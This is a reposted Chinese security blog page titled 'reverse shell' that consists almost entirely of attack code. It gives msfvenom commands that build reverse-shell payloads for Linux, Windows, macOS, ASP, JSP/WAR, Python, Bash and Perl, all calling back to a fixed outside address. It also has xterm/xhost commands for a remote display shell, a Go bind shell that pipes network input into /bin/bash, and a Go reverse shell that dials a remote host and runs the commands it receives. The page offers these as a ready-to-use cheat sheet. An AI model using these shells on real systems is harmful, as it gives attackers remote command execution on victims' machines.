msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f elf >reverse.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=8.8.8.8 LPORT=8888 -f elf >reverse.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f macho > shell.macho
msfvenom -p windows/meterpreter/reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="8.8.8.8" LPORT=8888 -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST="8.8.8.8" LPORT=8888 -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST="8.8.8.8" LPORT=8888 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST="8.8.8.8" LPORT=8888 -f raw > shell.pl

Xterm

xterm -xterm -display 8.8.8.8:1
Xnest :1
xhost +targetip

Golang

package main
import (
    "fmt"
    "net"
    "strings"
    "io/ioutil"
    "log"
    "os/exec" 
)
 
 
func cmd_connect(c net.Conn) {
    if c == nil {
        return
    }
    buf := make([]byte, 4096)
    for {
        cnt, err := c.Read(buf)
        if err != nil || cnt == 0 {
            c.Close()
            break
        }
        inStr := strings.TrimSpace(string(buf[0:cnt]))
        inputs := strings.Split(inStr, " ")
        switch inputs[0] {
        case "quit":
            c.Close()
            break
        default:
                        var  cmd_str string
                        for _,value := range inputs {
                            if cmd_str == "" {
                                cmd_str = value
                            }else {
                                cmd_str = cmd_str+" "+value
                            }
                        }
                        cmd := exec.Command("/bin/bash","-c",cmd_str)
                        stdout, err := cmd.StdoutPipe()
                        if err != nil {
                            log.Fatal(err)
                        }
                        defer stdout.Close()
                        if err := cmd.Start(); err != nil {
                            log.Fatal(err)
                        }
                        // 读取输出结果
                        opBytes, err := ioutil.ReadAll(stdout)
                        if err != nil {
                            log.Fatal(err)
                        }
                        c.Write([]byte(opBytes))
                                          
        }
    }
}
func main() {
    server, err := net.Listen("tcp", ":1208")
        if err != nil {
        fmt.Printf("Fail to start server, %s\n", err)
    }
 
    for {
        conn, err := server.Accept()
        if err != nil {
            break
        }
        go cmd_connect(conn)
    }
}

反向连接

package main
import (
    "io"
    "net"
    "io/ioutil"
    "log"
    "os/exec" 
)
 
var (
    cmd string
    line string
)
 
func main() {
    addr := "127.0.0.1:8080" //远程连接主机名
    conn,err := net.Dial("tcp",addr) //拨号操作,用于连接服务端,需要指定协议。
    if err != nil {
        log.Fatal(err)
    }
 
    buf := make([]byte,10240) //定义一个切片的长度是10240。
    for  {
        n,err := conn.Read(buf) //接受的命令
        if err != nil && err != io.EOF {  //io.EOF在网络编程中表示对端把链接关闭了。
            log.Fatal(err)
        }
 
        cmd_str := string(buf[:n])
        cmd := exec.Command("/bin/bash","-c",cmd_str) //命令执行
        stdout, err := cmd.StdoutPipe()
        if err != nil {
            log.Fatal(err)
        }
        defer stdout.Close()
        if err := cmd.Start(); err != nil {
            log.Fatal(err)
        }
        opBytes, err := ioutil.ReadAll(stdout)
        if err != nil {
            log.Fatal(err)
        }
        conn.Write([]byte(opBytes)) //返回执行结果
    }
}

参照文章:https://blog.csdn.net/qiuyeyijian/article/details/102993592

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:13:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【转载】反弹shellhttp://cn-sec.com/archives/1442691.html

发表评论

匿名网友 填写信息